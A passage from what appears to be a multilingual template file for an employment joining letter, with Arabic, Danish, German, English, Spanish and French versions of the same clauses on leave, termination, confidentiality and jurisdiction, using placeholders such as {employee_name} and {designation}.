نفس الشيء سوف تسترده منك الشركة.

9. الاقتراض / قبول الهدايا

لن تقترض أو تقبل أي أموال أو هدية أو مكافأة أو تعويض مقابل مكاسبك الشخصية من أو تضع نفسك بأي طريقة أخرى

بموجب التزام مالي تجاه أي شخص / عميل قد تكون لديك تعاملات رسمية معه.

10. الإنهاء

10.1 يمكن للشركة إنهاء موعدك ، دون أي سبب ، من خلال إعطائك ما لا يقل عن [إشعار] قبل أشهر

إشعار خطي أو راتب بدلاً منه. لغرض هذا البند ، يقصد بالراتب المرتب الأساسي.

10.2 إنهاء عملك مع الشركة ، دون أي سبب ، من خلال تقديم ما لا يقل عن إشعار الموظف

أشهر الإخطار أو الراتب عن الفترة غير المحفوظة ، المتبقية بعد تعديل الإجازات المعلقة ، كما في التاريخ.

10.3 تحتفظ الشركة بالحق في إنهاء عملك بإيجاز دون أي فترة إشعار أو مدفوعات إنهاء

إذا كان لديه سبب معقول للاعتقاد بأنك مذنب بسوء السلوك أو الإهمال ، أو ارتكبت أي خرق جوهري لـ

العقد ، أو تسبب في أي خسارة للشركة.

10. 4 عند إنهاء عملك لأي سبب من الأسباب ، ستعيد إلى الشركة جميع ممتلكاتك ؛ المستندات و

الأوراق الأصلية ونسخها ، بما في ذلك أي عينات ، وأدبيات ، وعقود ، وسجلات ، وقوائم ، ورسومات ، ومخططات ،

الرسائل والملاحظات والبيانات وما شابه ذلك ؛ والمعلومات السرية التي بحوزتك أو تحت سيطرتك والمتعلقة بك

التوظيف أو الشؤون التجارية للعملاء.

11. المعلومات السرية

11. 1 أثناء عملك في الشركة ، سوف تكرس وقتك واهتمامك ومهارتك كلها بأفضل ما لديك من قدرات

عملها. لا يجوز لك ، بشكل مباشر أو غير مباشر ، الانخراط أو الارتباط بنفسك ، أو الارتباط به ، أو القلق ، أو التوظيف ، أو

الوقت أو متابعة أي دورة دراسية على الإطلاق ، دون الحصول على إذن مسبق من الشركة أو الانخراط في أي عمل آخر أو

الأنشطة أو أي وظيفة أخرى أو العمل بدوام جزئي أو متابعة أي دورة دراسية على الإطلاق ، دون إذن مسبق من

شركة.

11. المعلومات السرية

11. 1 أثناء عملك في الشركة ، سوف تكرس وقتك واهتمامك ومهارتك كلها بأفضل ما لديك من قدرات

عملها. لا يجوز لك ، بشكل مباشر أو غير مباشر ، الانخراط أو الارتباط بنفسك ، أو الارتباط به ، أو القلق ، أو التوظيف ، أو

الوقت أو متابعة أي دورة دراسية على الإطلاق ، دون الحصول على إذن مسبق من الشركة أو الانخراط في أي عمل آخر أو

الأنشطة أو أي وظيفة أخرى أو العمل بدوام جزئي أو متابعة أي دورة دراسية على الإطلاق ، دون إذن مسبق من

شركة.

11.2 يجب عليك دائمًا الحفاظ على أعلى درجة من السرية والحفاظ على سرية السجلات والوثائق وغيرها

المعلومات السرية المتعلقة بأعمال الشركة والتي قد تكون معروفة لك أو مخولة لك بأي وسيلة

ولن تستخدم هذه السجلات والمستندات والمعلومات إلا بالطريقة المصرح بها حسب الأصول لصالح الشركة. إلى عن على

أغراض هذا البند "المعلومات السرية" تعني المعلومات المتعلقة بأعمال الشركة وعملائها

التي لا تتوفر لعامة الناس والتي قد تتعلمها أثناء عملك. هذا يشمل،

على سبيل المثال لا الحصر ، المعلومات المتعلقة بالمنظمة وقوائم العملاء وسياسات التوظيف والموظفين والمعلومات

حول منتجات الشركة وعملياتها بما في ذلك الأفكار والمفاهيم والإسقاطات والتكنولوجيا والكتيبات والرسم والتصاميم ،

المواصفات وجميع الأوراق والسير الذاتية والسجلات والمستندات الأخرى التي تحتوي على هذه المعلومات السرية.

11.3 لن تقوم في أي وقت بإزالة أي معلومات سرية من المكتب دون إذن.

11.4 واجبك في الحماية وعدم الإفشاء

تظل المعلومات السرية سارية بعد انتهاء أو إنهاء هذه الاتفاقية و / أو عملك مع الشركة.

11.5 سوف يجعلك خرق شروط هذا البند عرضة للفصل بإجراءات موجزة بموجب الفقرة أعلاه بالإضافة إلى أي

أي تعويض آخر قد يكون للشركة ضدك في القانون.

12. الإخطارات

يجوز لك إرسال إخطارات إلى الشركة على عنوان مكتبها المسجل. يمكن أن ترسل لك الشركة إشعارات على

العنوان الذي أشرت إليه في السجلات الرسمية.

13. تطبيق سياسة الشركة

يحق للشركة تقديم إعلانات السياسة من وقت لآخر فيما يتعلق بمسائل مثل استحقاق الإجازة والأمومة

الإجازة ، ومزايا الموظفين ، وساعات العمل ، وسياسات النقل ، وما إلى ذلك ، ويمكن تغييرها من وقت لآخر وفقًا لتقديرها الخاص.

جميع قرارات سياسة الشركة هذه ملزمة لك ويجب أن تلغي هذه الاتفاقية إلى هذا الحد.

14. القانون الحاكم / الاختصاص القضائي

يخضع عملك في الشركة لقوانين الدولة. تخضع جميع النزاعات للاختصاص القضائي للمحكمة العليا

غوجارات فقط.

15. قبول عرضنا

يرجى تأكيد قبولك لعقد العمل هذا من خلال التوقيع وإعادة النسخة المكررة.

نرحب بكم ونتطلع إلى تلقي موافقتكم والعمل معكم.

تفضلوا بقبول فائق الاحترام،

{app_name}

{date}

', 'da' => '

Tilslutningsbrev

{date}

{employee_name}

{address}

Emne: Udnævnelse til stillingen som {designation}

Kære {employee_name}

Vi er glade for at kunne tilbyde dig stillingen som {designation} hos {app_name} "Virksomheden" på følgende vilkår og

betingelser:

1. Påbegyndelse af ansættelse

Din ansættelse træder i kraft fra {start_date}

2. Jobtitel

Din jobtitel vil være {designation}.

3. Løn

Din løn og andre goder vil være som angivet i skema 1, hertil.

4. Udstationeringssted

Du vil blive slået op på {branch}. Du kan dog blive bedt om at arbejde på ethvert forretningssted, som virksomheden har, eller

senere kan erhverve.

5. Arbejdstimer

De normale arbejdsdage er mandag til fredag. Du vil blive forpligtet til at arbejde i de timer, som er nødvendige for

behørig varetagelse af dine pligter over for virksomheden. Den normale arbejdstid er fra {start_time} til {end_time}, og det er du

forventes at arbejde ikke mindre end {total_hours} timer hver uge, og om nødvendigt yderligere timer afhængigt af din

ansvar.

6. Orlov/Ferie

6.1 Du har ret til tilfældig ferie på 12 dage.

6.2 Du har ret til 12 arbejdsdages sygefravær med løn.

6.3 Virksomheden skal meddele en liste over erklærede helligdage i begyndelsen af ​​hvert år.

7. Arbejdsopgavernes art

Du vil efter bedste evne udføre alle de opgaver, der er iboende i din stilling og sådanne yderligere opgaver som virksomheden

kan opfordre dig til at optræde, fra tid til anden. Dine specifikke pligter er beskrevet i skema II hertil.

8. Firmaejendom

Du vil altid vedligeholde virksomhedens ejendom i god stand, som kan blive overdraget til dig til officiel brug i løbet af

din ansættelse, og skal returnere al sådan ejendom til virksomheden, før du opgiver din afgift, i modsat fald vil omkostningerne

af samme vil blive inddrevet fra dig af virksomheden.

9. Lån/modtagelse af gaver

Du vil ikke låne eller acceptere nogen penge, gave, belønning eller kompensation for dine personlige gevinster fra eller på anden måde placere dig selv

under en økonomisk forpligtelse over for enhver person/kunde, som du måtte have officielle forbindelser med.

10. Opsigelse

10.1 Din ansættelse kan opsiges af virksomheden uden nogen grund ved at give dig mindst [varsel] måneder før

skriftligt varsel eller løn i stedet herfor. Ved løn forstås i denne paragraf grundløn.

10.2 Du kan opsige dit ansættelsesforhold i virksomheden uden nogen grund ved at give mindst [Medarbejdermeddelelse]

måneders forudgående varsel eller løn for den ikke-opsparede periode, tilbage efter regulering af afventende orlov, som på dato.

10.3 Virksomheden forbeholder sig retten til at opsige dit ansættelsesforhold midlertidigt uden opsigelsesfrist eller opsigelsesbetaling

hvis den har rimelig grund til at tro, at du er skyldig i forseelse eller uagtsomhed, eller har begået et grundlæggende brud på

kontrakt, eller forårsaget tab for virksomheden.

10. 4 Ved ophør af din ansættelse uanset årsag, vil du returnere al ejendom til virksomheden; dokumenter, og

papir, både originale og kopier heraf, inklusive prøver, litteratur, kontrakter, optegnelser, lister, tegninger, tegninger,

breve, notater, data og lignende; og fortrolige oplysninger, i din besiddelse eller under din kontrol vedrørende din

ansættelse eller til kunders forretningsforhold.

11. Fortrolige oplysninger

11. 1 Under din ansættelse i virksomheden vil du bruge al din tid, opmærksomhed og dygtighed efter bedste evne til

sin virksomhed. Du må ikke, direkte eller indirekte, engagere eller associere dig med, være forbundet med, bekymret, ansat eller

tid eller forfølge et hvilket som helst studieforløb uden forudgående tilladelse fra virksomheden. involveret i anden virksomhed eller

aktiviteter eller enhver anden stilling eller arbejde på deltid eller forfølge ethvert studieforløb uden forudgående tilladelse fra

Selskab.

11.2 Du skal altid opretholde den højeste grad af fortrolighed og opbevare optegnelser, dokumenter og andre fortrolige oplysninger.

Fortrolige oplysninger vedrørende virksomhedens virksomhed, som kan være kendt af dig eller betroet dig på nogen måde

og du vil kun bruge sådanne optegnelser, dokumenter og oplysninger på en behørigt autoriseret måde i virksomhedens interesse. Til

formålene med denne paragraf "Fortrolige oplysninger" betyder oplysninger om virksomhedens og dets kunders forretning

som ikke er tilgængelig for offentligheden, og som du kan lære i løbet af din ansættelse. Dette inkluderer,

men er ikke begrænset til information vedrørende organisationen, dens kundelister, ansættelsespolitikker, personale og information

om virksomhedens produkter, processer, herunder ideer, koncepter, projektioner, teknologi, manualer, tegning, design,

specifikationer og alle papirer, CVer, optegnelser og andre dokumenter, der indeholder sådanne fortrolige oplysninger.

11.3 Du vil på intet tidspunkt fjerne fortrolige oplysninger fra kontoret uden tilladelse.

11.4 Din pligt til at beskytte og ikke oplyse

e Fortrolige oplysninger vil overleve udløbet eller opsigelsen af ​​denne aftale og/eller din ansættelse hos virksomheden.

11.5 Overtrædelse af betingelserne i denne klausul vil gøre dig ansvarlig for midlertidig afskedigelse i henhold til klausulen ovenfor ud over evt.

andre retsmidler, som virksomheden måtte have mod dig i henhold til loven.

12. Meddelelser

Meddelelser kan gives af dig til virksomheden på dets registrerede kontoradresse. Meddelelser kan gives af virksomheden til dig på

den adresse, du har angivet i de officielle optegnelser.

13. Anvendelse af virksomhedens politik

Virksomheden er berettiget til fra tid til anden at afgive politiske erklæringer vedrørende sager som ret til orlov, barsel

orlov, ansattes ydelser, arbejdstider, overførselspolitikker osv., og kan ændre det samme fra tid til anden efter eget skøn.

Alle sådanne politiske beslutninger fra virksomheden er bindende for dig og tilsidesætter denne aftale i det omfang.

14. Gældende lov/Jurisdiktion

Din ansættelse hos virksomheden er underlagt landets love. Alle tvister er underlagt High Courts jurisdiktion

Kun Gujarat.

15. Accept af vores tilbud

Bekræft venligst din accept af denne ansættelseskontrakt ved at underskrive og returnere kopien.

Vi byder dig velkommen og ser frem til at modtage din accept og til at arbejde sammen med dig.

Venlig hilsen,

{app_name}

{date}

', 'de' => '

Beitrittsbrief

{date}

{employee_name}

{address}

Betreff: Ernennung für die Stelle von {designation}

Sehr geehrter {employee_name},

Wir freuen uns, Ihnen die Position von {designation} bei {app_name} dem „Unternehmen“ zu den folgenden Bedingungen anbieten zu können

Bedingungen:

1. Aufnahme des Arbeitsverhältnisses

Ihre Anstellung gilt ab dem {start_date}

2. Berufsbezeichnung

Ihre Berufsbezeichnung lautet {designation}.

3. Gehalt

Ihr Gehalt und andere Leistungen sind in Anhang 1 zu diesem Dokument aufgeführt.

4. Postort

Sie werden bei {branch} eingestellt. Es kann jedoch erforderlich sein, dass Sie an jedem Geschäftssitz arbeiten, den das Unternehmen hat, oder

später erwerben kann.

5. Arbeitszeit

Die normalen Arbeitstage sind Montag bis Freitag. Sie müssen so viele Stunden arbeiten, wie es für die erforderlich ist

ordnungsgemäße Erfüllung Ihrer Pflichten gegenüber dem Unternehmen. Die normalen Arbeitszeiten sind von {start_time} bis {end_time} und Sie sind es

voraussichtlich nicht weniger als {total_hours} Stunden pro Woche arbeiten, und falls erforderlich, abhängig von Ihren zusätzlichen Stunden

Verantwortlichkeiten.

6. Urlaub/Urlaub

6.1 Sie haben Anspruch auf Freizeiturlaub von 12 Tagen.

6.2 Sie haben Anspruch auf 12 Arbeitstage bezahlten Krankenurlaub.

6.3 Das Unternehmen teilt zu Beginn jedes Jahres eine Liste der erklärten Feiertage mit.

7. Art der Pflichten

Sie werden alle Aufgaben, die mit Ihrer Funktion verbunden sind, sowie alle zusätzlichen Aufgaben als Unternehmen nach besten Kräften erfüllen

kann Sie von Zeit zu Zeit zur Leistung auffordern. Ihre spezifischen Pflichten sind in Anhang II zu diesem Dokument aufgeführt.

8. Firmeneigentum

Sie werden das Firmeneigentum, das Ihnen im Laufe der Zeit für offizielle Zwecke anvertraut werden kann, stets in gutem Zustand halten

Ihrer Anstellung und muss all dieses Eigentum an das Unternehmen zurückgeben, bevor Sie Ihre Gebühr aufgeben, andernfalls die Kosten

derselben werden von der Gesellschaft von Ihnen zurückgefordert.

9. Leihen/Annehmen von Geschenken

Sie werden kein Geld, Geschenk, keine Belohnung oder Entschädigung für Ihre persönlichen Gewinne von sich leihen oder annehmen oder sich anderweitig platzieren

unter finanzieller Verpflichtung gegenüber Personen/Kunden, mit denen Sie möglicherweise dienstliche Beziehungen unterhalten.

10. Kündigung

10.1 Ihre Ernennung kann vom Unternehmen ohne Angabe von Gründen gekündigt werden, indem es Ihnen mindestens [Kündigung] Monate im Voraus mitteilt

schriftliche Kündigung oder Gehalt statt dessen. Gehalt im Sinne dieser Klausel bedeutet Grundgehalt.

10.2 Sie können Ihre Anstellung beim Unternehmen ohne Angabe von Gründen kündigen, indem Sie mindestens [Mitarbeitermitteilung]

Kündigungsfrist von Monaten oder Gehalt für den nicht angesparten Zeitraum, der nach Anpassung der anstehenden Urlaubstage übrig bleibt, zum Stichtag.

10.3 Das Unternehmen behält sich das Recht vor, Ihr Arbeitsverhältnis ohne Kündigungsfrist oder Abfindungszahlung fristlos zu kündigen

wenn es begründeten Anlass zu der Annahme gibt, dass Sie sich eines Fehlverhaltens oder einer Fahrlässigkeit schuldig gemacht haben oder einen wesentlichen Verstoß begangen haben

oder dem Unternehmen Verluste verursacht haben.

10. 4 Bei Beendigung Ihres Beschäftigungsverhältnisses, aus welchem ​​Grund auch immer, werden Sie sämtliches Eigentum an das Unternehmen zurückgeben; Dokumente und

Papier, sowohl Original als auch Kopien davon, einschließlich aller Muster, Literatur, Verträge, Aufzeichnungen, Listen, Zeichnungen, Blaupausen,

Briefe, Notizen, Daten und dergleichen; und vertrauliche Informationen, die sich in Ihrem Besitz oder unter Ihrer Kontrolle befinden und sich auf Sie beziehen

Beschäftigung oder für die geschäftlichen Angelegenheiten der Kunden.

11. Confidential Information

11. 1 During your employment with the Company you will devote your whole time, attention, and skill to the best of your ability for

its business. You shall not, directly or indirectly, engage or associate yourself with, be connected with, concerned, employed, or

time or pursue any course of study whatsoever, without the prior permission of the Company.engaged in any other business or

activities or any other post or work part-time or pursue any course of study whatsoever, without the prior permission of the

Company.

11.2 You must always maintain the highest degree of confidentiality and keep as confidential the records, documents, and other 

Confidential Information relating to the business of the Company which may be known to you or confided in you by any means

and you will use such records, documents and information only in a duly authorized manner in the interest of the Company. For

the purposes of this clause ‘Confidential Information’ means information about the Company’s business and that of its customers

which is not available to the general public and which may be learned by you in the course of your employment. This includes,

but is not limited to, information relating to the organization, its customer lists, employment policies, personnel, and information

about the Company’s products, processes including ideas, concepts, projections, technology, manuals, drawing, designs, 

specifications, and all papers, resumes, records and other documents containing such Confidential Information.

11.3 At no time, will you remove any Confidential Information from the office without permission.

11.4 Your duty to safeguard and not disclos

e Confidential Information will survive the expiration or termination of this Agreement and/or your employment with the Company.

11.5 Breach of the conditions of this clause will render you liable to summary dismissal under the clause above in addition to any

other remedy the Company may have against you in law.

12. Notices

Notices may be given by you to the Company at its registered office address. Notices may be given by the Company to you at

the address intimated by you in the official records.

13. Applicability of Company Policy

The Company shall be entitled to make policy declarations from time to time pertaining to matters like leave entitlement,maternity

leave, employees’ benefits, working hours, transfer policies, etc., and may alter the same from time to time at its sole discretion.

All such policy decisions of the Company shall be binding on you and shall override this Agreement to that  extent.

14. Governing Law/Jurisdiction

Your employment with the Company is subject to Country laws. All disputes shall be subject to the jurisdiction of High Court

Gujarat only.

15. Acceptance of our offer

Please confirm your acceptance of this Contract of Employment by signing and returning the duplicate copy.

We welcome you and look forward to receiving your acceptance and to working with you.

Yours Sincerely,

{app_name}

{date}

', 'en' => '

Joining Letter

{date}

{employee_name}

{address}

Subject: Appointment for the post of {designation}

Dear {employee_name},

We are pleased to offer you the position of {designation} with {app_name} theCompany on the following terms and

conditions:

1. Commencement of employment

Your employment will be effective, as of {start_date}

2. Job title

Your job title will be{designation}.

3. Salary

Your salary and other benefits will be as set out in Schedule 1, hereto.

4. Place of posting

You will be posted at {branch}. You may however be required to work at any place of business which the Company has, or

may later acquire.

5. Hours of Work

The normal working days are Monday through Friday. You will be required to work for such hours as necessary for the

proper discharge of your duties to the Company. The normal working hours are from {start_time} to {end_time} and you are

expected to work not less than {total_hours} hours each week, and if necessary for additional hours depending on your

responsibilities.

6. Leave/Holidays

6.1 You are entitled to casual leave of 12 days.

6.2 You are entitled to 12 working days of paid sick leave.

6.3 The Company shall notify a list of declared holidays at the beginning of each year.

7. Nature of duties

You will perform to the best of your ability all the duties as are inherent in your post and such additional duties as the company

may call upon you to perform, from time to time. Your specific duties are set out in Schedule II hereto.

8. Company property

You will always maintain in good condition Company property, which may be entrusted to you for official use during the course of

your employment, and shall return all such property to the Company prior to relinquishment of your charge, failing which the cost

of the same will be recovered from you by the Company.

9. Borrowing/accepting gifts

You will not borrow or accept any money, gift, reward, or compensation for your personal gains from or otherwise place yourself

under pecuniary obligation to any person/client with whom you may be having official dealings.

10. Termination

10.1 Your appointment can be terminated by the Company, without any reason, by giving you not less than [Notice] months prior

notice in writing or salary in lieu thereof. For the purpose of this clause, salary shall mean basic salary.

10.2 You may terminate your employment with the Company, without any cause, by giving no less than [Employee Notice]

months prior notice or salary for the unsaved period, left after adjustment of pending leaves, as on date.

10.3 The Company reserves the right to terminate your employment summarily without any notice period or termination payment

if it has reasonable ground to believe you are guilty of misconduct or negligence, or have committed any fundamental breach of

contract, or caused any loss to the Company.

10. 4 On the termination of your employment for whatever reason, you will return to the Company all property; documents, and

paper, both original and copies thereof, including any samples, literature, contracts, records, lists, drawings, blueprints,

letters, notes, data and the like; and Confidential Information, in your possession or under your control relating to your

employment or to clients business affairs.

11. Confidential Information

11. 1 During your employment with the Company you will devote your whole time, attention, and skill to the best of your ability for

its business. You shall not, directly or indirectly, engage or associate yourself with, be connected with, concerned, employed, or

time or pursue any course of study whatsoever, without the prior permission of the Company.engaged in any other business or

activities or any other post or work part-time or pursue any course of study whatsoever, without the prior permission of the

Company.

11.2 You must always maintain the highest degree of confidentiality and keep as confidential the records, documents, and other

Confidential Information relating to the business of the Company which may be known to you or confided in you by any means

and you will use such records, documents and information only in a duly authorized manner in the interest of the Company. For

the purposes of this clauseConfidential Information means information about the Companys business and that of its customers

which is not available to the general public and which may be learned by you in the course of your employment. This includes,

but is not limited to, information relating to the organization, its customer lists, employment policies, personnel, and information

about the Companys products, processes including ideas, concepts, projections, technology, manuals, drawing, designs,

specifications, and all papers, resumes, records and other documents containing such Confidential Information.

11.3 At no time, will you remove any Confidential Information from the office without permission.

11.4 Your duty to safeguard and not disclos

e Confidential Information will survive the expiration or termination of this Agreement and/or your employment with the Company.

11.5 Breach of the conditions of this clause will render you liable to summary dismissal under the clause above in addition to any

other remedy the Company may have against you in law.

12. Notices

Notices may be given by you to the Company at its registered office address. Notices may be given by the Company to you at

the address intimated by you in the official records.

13. Applicability of Company Policy

The Company shall be entitled to make policy declarations from time to time pertaining to matters like leave entitlement,maternity

leave, employees benefits, working hours, transfer policies, etc., and may alter the same from time to time at its sole discretion.

All such policy decisions of the Company shall be binding on you and shall override this Agreement to that extent.

14. Governing Law/Jurisdiction

Your employment with the Company is subject to Country laws. All disputes shall be subject to the jurisdiction of High Court

Gujarat only.

15. Acceptance of our offer

Please confirm your acceptance of this Contract of Employment by signing and returning the duplicate copy.

We welcome you and look forward to receiving your acceptance and to working with you.

Yours Sincerely,

{app_name}

{date}

', 'es' => '

Carta de unión

{date}

{employee_name}

{address}

Asunto: Nombramiento para el puesto de {designation}

Estimado {employee_name},

Nos complace ofrecerle el puesto de {designation} con {app_name}, la Compañía en los siguientes términos y

condiciones:

1. Comienzo del empleo

Su empleo será efectivo a partir del {start_date}

2. Título del trabajo

El título de su trabajo será {designation}.

3. Salario

Su salario y otros beneficios serán los establecidos en el Anexo 1 del presente.

4. Lugar de destino

Se le publicará en {branch}. Sin embargo, es posible que deba trabajar en cualquier lugar de negocios que tenga la Compañía, o

puede adquirir posteriormente.

5. Horas de trabajo

Los días normales de trabajo son de lunes a viernes. Se le pedirá que trabaje las horas que sean necesarias para el

cumplimiento adecuado de sus deberes para con la Compañía. El horario normal de trabajo es de {start_time} a {end_time} y usted está

se espera que trabaje no menos de {total_hours} horas cada semana y, si es necesario, horas adicionales dependiendo de su

responsabilidades.

6. Licencia/Vacaciones

6.1 Tiene derecho a un permiso eventual de 12 días.

6.2 Tiene derecho a 12 días laborables de baja por enfermedad remunerada.

6.3 La Compañía deberá notificar una lista de días festivos declarados al comienzo de cada año.

7. Naturaleza de los deberes

Desempeñará lo mejor que pueda todas las funciones inherentes a su puesto y aquellas funciones adicionales que la empresa

puede pedirte que actúes, de vez en cuando. Sus deberes específicos se establecen en el Anexo II del presente.

8. Propiedad de la empresa

Siempre mantendrá en buenas condiciones la propiedad de la Compañía, que se le puede confiar para uso oficial durante el curso de

su empleo, y devolverá todos esos bienes a la Compañía antes de renunciar a su cargo, en caso contrario, el costo

de la misma será recuperada de usted por la Compañía.

9. Tomar prestado/aceptar regalos

No pedirá prestado ni aceptará dinero, obsequios, recompensas o compensaciones por sus ganancias personales o se colocará de otra manera

bajo obligación pecuniaria a cualquier persona/cliente con quien pueda tener tratos oficiales.

10. Terminación

10.1 Su nombramiento puede ser rescindido por la Compañía, sin ningún motivo, al darle no menos de [Aviso] meses antes

aviso por escrito o salario en su lugar. Para los efectos de esta cláusula, se entenderá por salario el salario base.

10.2 Puede rescindir su empleo con la Compañía, sin ninguna causa, dando no menos de [Aviso al empleado]

meses de preaviso o salario por el período no ahorrado, remanente después del ajuste de licencias pendientes, a la fecha.

10.3 La Compañía se reserva el derecho de rescindir su empleo sumariamente sin ningún período de preaviso o pago por rescisión

si tiene motivos razonables para creer que usted es culpable de mala conducta o negligencia, o ha cometido una violación fundamental de

contrato, o causado cualquier pérdida a la Compañía.

10. 4 A la terminación de su empleo por cualquier motivo, devolverá a la Compañía todos los bienes; documentos, y

papel, tanto en original como en copia del mismo, incluyendo cualquier muestra, literatura, contratos, registros, listas, dibujos, planos,

cartas, notas, datos y similares; e Información confidencial, en su posesión o bajo su control en relación con su

empleo o a los asuntos comerciales de los clientes.

11. Información confidencial

11. 1 Durante su empleo en la Compañía, dedicará todo su tiempo, atención y habilidad lo mejor que pueda para

son negocios. Usted no deberá, directa o indirectamente, comprometerse o asociarse con, estar conectado, interesado, empleado o

tiempo o seguir cualquier curso de estudio, sin el permiso previo de la Compañía. participar en cualquier otro negocio o

actividades o cualquier otro puesto o trabajo a tiempo parcial o seguir cualquier curso de estudio, sin el permiso previo de la

Compañía.

11.2 Siempre debe mantener el más alto grado de confidencialidad y mantener como confidenciales los registros, documentos y otros

Información confidencial relacionada con el negocio de la Compañía que usted pueda conocer o confiarle por cualquier medio

y utilizará dichos registros, documentos e información solo de manera debidamente autorizada en interés de la Compañía. Para

A los efectos de esta cláusula, "Información confidencial" significa información sobre el negocio de la Compañía y el de sus clientes.

que no está disponible para el público en general y que usted puede aprender en el curso de su empleo. Esto incluye,

pero no se limita a, información relacionada con la organización, sus listas de clientes, políticas de empleo, personal e información

sobre los productos de la Compañía, procesos que incluyen ideas, conceptos, proyecciones, tecnología, manuales, dibujos, diseños,

especificaciones, y todos los papeles, currículos, registros y otros documentos que contengan dicha Información Confidencial.

11.3 En ningún momento, sacará ninguna Información Confidencial de la oficina sin permiso.

11.4 Su deber de salvaguardar y no divulgar

La Información Confidencial sobrevivirá a la expiración o terminación de este Acuerdo y/o su empleo con la Compañía.

11.5 El incumplimiento de las condiciones de esta cláusula le hará pasible de despido sumario en virtud de la cláusula anterior además de cualquier

otro recurso que la Compañía pueda tener contra usted por ley.

12. Avisos

Usted puede enviar notificaciones a la Compañía a su domicilio social. La Compañía puede enviarle notificaciones a usted en

la dirección indicada por usted en los registros oficiales.

13. Aplicabilidad de la política de la empresa

La Compañía tendrá derecho a hacer declaraciones de política de vez en cuando relacionadas con asuntos como el derecho a licencia, maternidad

licencia, beneficios de los empleados, horas de trabajo, políticas de transferencia, etc., y puede modificarlas de vez en cuando a su sola discreción.

Todas las decisiones políticas de la Compañía serán vinculantes para usted y anularán este Acuerdo en esa medida.

14. Ley aplicable/Jurisdicción

Su empleo con la Compañía está sujeto a las leyes del País. Todas las disputas estarán sujetas a la jurisdicción del Tribunal Superior

Sólo Gujarat.

15. Aceptación de nuestra oferta

Por favor, confirme su aceptación de este Contrato de Empleo firmando y devolviendo el duplicado.

Le damos la bienvenida y esperamos recibir su aceptación y trabajar con usted.

Tuyo sinceramente,

{app_name}

{date}

', 'fr' => '

Lettre dadhésion

{date}

{employee_name}

{address}

Objet : Nomination pour le poste de {designation}

Cher {employee_name},

Nous sommes heureux de vous proposer le poste de {designation} avec {app_name} la "Société" selon les conditions suivantes et

les conditions:

1. Entrée en fonction

Votre emploi sera effectif à partir du {start_date}

2. Intitulé du poste

Votre titre de poste sera {designation}.

3. Salaire

Votre salaire et vos autres avantages seront tels quindiqués à lannexe 1 ci-jointe.

4. Lieu de détachement

Vous serez affecté à {branch}. Vous pouvez cependant être tenu de travailler dans nimporte quel lieu daffaires que la Société a, ou

pourra acquérir plus tard.

5. Heures de travail

Les jours ouvrables normaux sont du lundi au vendredi. Vous devrez travailler les heures nécessaires à la

lexercice correct de vos fonctions envers la Société. Les heures normales de travail vont de {start_time} à {end_time} et vous êtes

devrait travailler au moins {total_hours} heures par semaine, et si nécessaire des heures supplémentaires en fonction de votre

responsabilités.

6. Congés/Vacances

6.1 Vous avez droit à un congé occasionnel de 12 jours.

6.2 Vous avez droit à 12 jours ouvrables de congé de maladie payé.

6.3 La Société communiquera une liste des jours fériés déclarés au début de chaque année.

7. Nature des fonctions

Vous exécuterez au mieux de vos capacités toutes les tâches inhérentes à votre poste et les tâches supplémentaires que lentreprise

peut faire appel à vous pour effectuer, de temps à autre. Vos fonctions spécifiques sont énoncées à lannexe II ci-jointe.

8. Biens sociaux

Vous maintiendrez toujours en bon état les biens de la Société, qui peuvent vous être confiés pour un usage officiel au cours de votre

votre emploi, et doit restituer tous ces biens à la Société avant labandon de votre charge, à défaut de quoi le coût

de même seront récupérés auprès de vous par la Société.

9. Emprunter/accepter des cadeaux

Vous nemprunterez ni naccepterez dargent, de cadeau, de récompense ou de compensation pour vos gains personnels ou vous placerez autrement

sous obligation pécuniaire envers toute personne/client avec qui vous pourriez avoir des relations officielles.

10. Résiliation

10.1 Votre nomination peut être résiliée par la Société, sans aucune raison, en vous donnant au moins [Préavis] mois avant

un préavis écrit ou un salaire en tenant lieu. Aux fins de la présente clause, salaire sentend du salaire de base.

10.2 Vous pouvez résilier votre emploi au sein de la Société, sans motif, en donnant au moins [Avis à lemployé]

mois de préavis ou de salaire pour la période non épargnée, restant après régularisation des congés en attente, à la date.

10.3 La Société se réserve le droit de résilier votre emploi sans préavis ni indemnité de licenciement.

sil a des motifs raisonnables de croire que vous êtes coupable dinconduite ou de négligence, ou que vous avez commis une violation fondamentale de

contrat, ou causé une perte à la Société.

10. 4 À la fin de votre emploi pour quelque raison que ce soit, vous restituerez à la Société tous les biens ; document, et

papier, à la fois loriginal et les copies de celui-ci, y compris les échantillons, la littérature, les contrats, les dossiers, les listes, les dessins, les plans,

lettres, notes, données et similaires; et Informations confidentielles, en votre possession ou sous votre contrôle relatives à votre

lemploi ou aux affaires commerciales des clients.

11. Informations confidentielles

11. 1 Au cours de votre emploi au sein de la Société, vous consacrerez tout votre temps, votre attention et vos compétences au mieux de vos capacités pour

son affaire. Vous ne devez pas, directement ou indirectement, vous engager ou vous associer à, être lié à, concerné, employé ou

temps ou poursuivre quelque programme détudes que ce soit, sans lautorisation préalable de la Société. engagé dans toute autre entreprise ou

activités ou tout autre poste ou travail à temps partiel ou poursuivre des études quelconques, sans lautorisation préalable du

Compagnie.

11.2 Vous devez toujours maintenir le plus haut degré de confidentialité et garder confidentiels les dossiers, documents et autres

Informations confidentielles relatives à lactivité de la Société dont vous pourriez avoir connaissance ou qui vous seraient confiées par tout moyen

et vous nutiliserez ces registres, documents et informations que dune manière dûment autorisée dans lintérêt de la Société. Pour

aux fins de la présente clause « Informations confidentielles » désigne les informations sur les activités de la Société et celles de ses clients

qui nest pas accessible au grand public et dont vous pourriez avoir connaissance dans le cadre de votre emploi. Ceci comprend,

mais sans sy limiter, les informations relatives à lorganisation, ses listes de clients, ses politiques demploi, son personnel et les informations

sur les produits, les processus de la Société, y compris les idées, les concepts, les projections, la technologie, les manuels, les dessins, les conceptions,

spécifications, et tous les papiers, curriculum vitae, dossiers et autres documents contenant de telles informations confidentielles.

11.3 À aucun moment, vous ne retirerez des informations confidentielles du bureau sans autorisation.

11.4 Votre devoir de protéger et de ne pas divulguer

Les Informations confidentielles survivront à lexpiration ou à la résiliation du présent Contrat et/ou à votre emploi au sein de la Société.

11.5 La violation des conditions de cette clause vous rendra passible dun renvoi sans préavis en vertu de la clause ci-dessus en plus de tout

autre recours que la Société peut avoir contre vous en droit.

12. Avis

Des avis peuvent être donnés par vous à la Société à ladresse de son siège social. Des avis peuvent vous être donnés par la Société à

ladresse que vous avez indiquée dans les registres officiels.

13. Applicabilité de la politique de lentreprise

La Société est autorisée à faire des déclarations de politique de temps à autre concernant des questions telles que le droit aux congés, la maternité

